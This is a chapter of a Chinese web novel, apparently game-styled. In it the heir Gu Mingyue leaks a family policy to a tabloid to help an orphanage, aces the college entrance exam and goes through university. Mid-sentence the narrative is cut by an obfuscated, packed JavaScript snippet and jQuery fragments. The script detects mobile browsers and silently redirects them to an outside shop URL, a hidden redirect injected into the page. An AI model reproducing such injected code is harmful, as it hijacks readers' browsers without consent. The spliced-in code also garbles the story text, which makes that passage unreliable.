好了好了,这下坏了。

    顾明越称着额头,思考自己到手的钱会少多少。

    她的日子已经够拮据了。

    但现在的顾家不会听她这个未来家主的。

    长赢看了眼墙上的日历,“今天是星期六,还要去福利院吗?”

    “去。”

    每个月她都会回去福利院一趟,看看里面的情况,方便继续当孩子王。

    回去的多了,有时候闲来无事还会和院长聊几句。这一任院长是主家出身,似乎是在一场政治斗争中落败,得罪了某个前途无量的大人物,才会沦落至此。

    院长很少提及这些事,顾明越只能从只言片语里猜到这些。

    福利院多了很多年幼的生面孔,那些曾经让顾明越熟悉的人越来越少了。他们大多数都已经出去打工,寻找养活自己的方法,以及最重要的,赚钱用以偿还家族债务。

    十二岁之后,家族养孩子的每一笔钱都需要他们在成年后成双成倍的返回。

    即便是有一线好姻缘的顾明越和远去稽查院的顾之庭,身上也背着这桩欠债。

    至于十二岁之前的价款,则有他们平时的义务劳动来补偿。

    办公室内,院长听完她的问询,冷淡地点了点头,为她提供了更多信息,“这并不是传闻,它很快就会落实。但福利院里都是旁支的孩子,他们太孱弱,又或者天生就有什么疾病,未必能活到偿还债务的那一天。”

    她没有继续说下去,但顾明越立刻明白了她的意思,“所以上面的人打算直接减少对福利院的拨款。”

    “很遗憾,是的。”她脸上没什么表情,但显然为此感到不快。

    “为什么要突然推行这个政策?”

    院长:“马上要选拔新家主了,大家都想在长老院面前露露面,以展现自己统领的能力,从而获取更多的支持。”

    顾明越声音变了调,“马上要选新家主?我怎么不知道?”

    院长纳闷:“这跟你有什么关系?”

    虽然名义上只要有顾家血脉都能当家主,但怎么想也只可能是嫡系上位啊。

    顾明越很无语。

    我还没报名啊!

    没人通知要填什么表格,提交下什么材料,再做个PPT,拉个EXCEL,竞争一下的吗?

    院长顺势将手旁的啄木鸟日报递给她,头版刊登着一行醒目的大字:

    亲人阋墙,上下相争,究竟谁可以称帝?

    院长问:“你们平常不看报纸吗?”

    顾明越指了指自己和长赢,“我们没钱订报纸。”

    啄木鸟日报凭借着各类贵族丑闻在民间和上层广为流传,但一直没有被制裁。院长也不知道它的主编是谁,不过单凭报纸能巧妙斡旋在各家族之间,就足够看出背后之人的能力了。

    院长漫不经心地说道:“每个家族里都藏着啄木鸟日报的线人,每个家族都试图抓出内鬼,但是收效甚微。”

    说这话时,她的面色却有些微妙。

    顾明越盯着纸上的字,忽然说道:“因为所有人都希望能借用它来打压自己的政敌?”

    院长颔首。

    “院长,您觉得福利院足够惨吗?足够成为新的爆点吗?”

    垂落的碎发遮住一点眉毛,顾明越不信被流放至此的院长不想离开这里,不然为什么上层的任何一点风吹草动,都能会立刻传到福利院的办公室里?

    “他们年幼、贫穷、瘦弱,同时被迫承担沉重的劳动,现在还要背负更多的债务。这不公平。而且主家和支系之间本就存在矛盾,这如何不让旁人想到顾家内部的分裂局面?”

    如果顾家还在乎脸面和名声的话,就不会坐视不管。

    她眉峰温和地弯起,像被风吹起的柳枝,黑亮的瞳孔含着一层薄薄的水意,望过来的时候隔出一层温热的雾,从不过分亲近,却又不会让人觉得遥不可及。

    书桌后面的人微微睁大了眼,“但是新规只针对十二岁以上的孩子。”

    “不重要。”顾明越摇头,“反正都是传闻,覆盖得越广,说得越严重,便越容易激起围观者的情绪。唯一的问题是,如何让应该知道的人知道这条新闻。”

    院长握住笔的手猛得用力。在短暂的思索后,她抬起眼,目光缓缓打量着顾明越,脸上最终露出一抹浅淡的笑意,“是啊,不过啄木鸟日报的线人总是无孔不入,他们总能报道出有趣的东西。”

    【第二天的《啄木鸟日报》——“啃完肉,砸碎骨,嘬骨髓:顾家现在连孩子都不放过了”】

    【这一篇附有大量童工照片的报道在民众间激起了极大的愤慨。】

    【其他显赫的贵族明里暗里发表了一些谴责,展现自己家族内部的和睦。】

    【没过多久,顾家的现任管家站了出来,表明啄木鸟日报的报道是虚假的,是完全的污蔑,没有任何证据表明顾家有这样的政策或提案。】

    【你没再听闻这份提案的任何后续。】

    “接下来一个月我会与下一任进行院长交接,然后我会离开这里。”院长抬手将发丝别到耳后,与顾明越进行告别。

    顾明越表示祝贺。

    “你长大了。有规划过自己的未来吗?”面前的人审视着她,话音比从前更加柔和。

    顾明越眉梢微挑,“暂时还没有。”

    院长微微笑了起来,“可惜你年纪太小了,不然你可以跟我一起离开。”她身边还缺一位秘书。

    “先好好上学吧。”她对顾明越说道,“你会前途无量的。”

    17岁

    学习。

    18岁

    高考。

    【触发支线任务:高考加油】

    【路人与你说“高考加油”的几率提升80%。】

    顾明越问长赢:“我考上大学的话,你怎么办?”

    长赢想了想前辈的经历,回答道:“我跟你一起去上大学。”

    顾明越大受震撼:“那为什么你不要高考?”

    “因为我是你的骑士,你去哪我就去哪。”

    “那你就没有学历了啊。”

    长赢疑惑:“我要这个干什么?”

    当顾明越的骑士就是他的工作。他的薪水取决于顾明越以后的高度。

    顾明越倒不在意以后要自己给长赢开工资这一点,因为她以后是顾家家主,长赢的钱还是从顾家账上走。

    百日誓师,倒数五十日,倒数三十日,倒数一日……

    顾明越的精神值不断下降。

    【正在检测你的学习成果……】

    【系统进行判定中……】

    【满分750分,你的成绩是:】

    【749分!】

    【你的声望大大增加了!】

    【恭喜玩家获得称号:百年难得一见的天才】

    【这些题不是看一眼就会了吗?】

    收到消息的郁时青正在参加一场文学沙龙,闻言愣了一下。

    他不知道顾明越的成绩这么好。

    毕竟她上学太晚了,出身注定了她无法受到良好的教育。

    而郁时青从来都不指望她能给自己带来多少夸赞,只希望这个人不要出什么丑闻就好。这对出身低下的人来已经足够难了。

    他甚至不记得今天是出成绩的日子,只在高考前几天给顾明越寄去了一些带有好兆头的礼物和一张印着“高考加油”的明信片。

    他一向是社交场合的最中心,簇拥在旁边的朋友想起来那是他的联姻对象,一半真诚一半吹捧地说道:“她真厉害。”

    郁时青适时地露出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813090|210953||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分毫不差的笑容,“是的,但这并不让人意外,她一直很优秀。”

    虽然塞勒涅大学里支系的录取分数要比主家更高,但凭借顾明越的分数,她去哪都行。

    郁时青算是她的学长,在她入学前夕写了一封长信祝贺她,并给了很多实用的建议。

    大到各类老师的性格和打分习惯,小到哪家食堂的菜最好吃,他都毫不吝啬地分享着自己的经验。

    “我为你感到高兴,我亲爱的朋友。”他这么写道,“愿你度过快乐而充实的四年,有任何问题我都愿意帮忙。”

    19岁

    大一,学习。

    考到同一个大学后,她和郁时青的交集明显变多了,经常两个人再加一个长赢一起吃饭。

    郁时青每天吃饭前都会做祷告,但并不强迫顾明越照做。

    他经常带她去教堂参加礼拜,顾明越对此从不推拒,因为她每次去都可以在里面蹭一顿美食,不仅省下了一笔饭钱,还借机结识了不少贵族。

    教堂是比宴会更华美的舞台,口中的信仰和高贵的出身,足够里面的所有人去花时间结交彼此。

    【你获得了更多的关注】

    【你的声望增加了】

    当教士缓缓念诵圣书里的字句,人们低下头,沉默地为自己施行的罪行忏悔的时候,顾明越分神地想,这里有多少是真正虔诚的月神信徒,又有多少是跟自己一样浑水摸鱼的人。

    她悄悄地睁开眼,在狭窄的,晦暗的视野里,望见郁时青纤长而浓密的眼睫在轻轻颤动着。

    青色的血管伏在他苍白无暇的皮肤下,微红的唇无声地张合着,显得更加饱满而丰盈。

    他真的有那么多需要忏悔的罪行与过错吗?

    那就希望月神能宽恕他吧,顾明越百无聊赖地想。

    毕竟他是她的好朋友。

    20岁

    大二,学习。

    顾明越没想到会在课堂里碰到顾之庭。

    顾之庭远远地看了她不知道多久,见她望过来,唇嗫嚅了下,最后只说道:“好久不见。”

    “你也在这上学?”顾明越问。

    他比以前高多了,琥珀色的瞳孔却跟过去一样漂亮,言简意赅地回答道:“刚来。”

    “但你现在也上大二。”

    他别过脸,深吸一口气才继续说下去,“稽查院让我来这里拿个学历。”

    顾明越:“……走后门。”

    “稽查院有固定的名额在。”

    顾明越:“……”

    可恶。

    她可是一分一分考上来的。

    21岁

    大三,早八。

    大三为什么还有早八?

    顾明越神智不清地缩回被子里,让长赢去跟自己交换人生。

    长赢提醒道:“我们两个长得并不相像。”

    “没关系。这节课就是传教的,水课,老师不会管的。”

    他哦了一声,去了。

    22岁

    大四。

    顾明越写毕业论文写得快噶了。

    【你用一个小时写了132字。】

    【你用两个小时写了45字。】

    【然后你删去了150个字。】

    【你开始思考,图书馆的门这么小,五楼的桌子是怎么搬进来的。】

    顾明越看着只写了标题的羊皮纸,陷入了沉默。

    长赢端着两杯加满糖的柠檬水进来,她面前一杯,自己咬着另一杯的吸管坐在一边,开始数手心里的铜币。

    ——你在干什么?

    见长赢不说话,顾明越兴高采烈地扔了张小纸条过去。

    他低下头,在纸的边缘老老实实地写道。

    ——家主死了,我们在猜他的下一任是谁。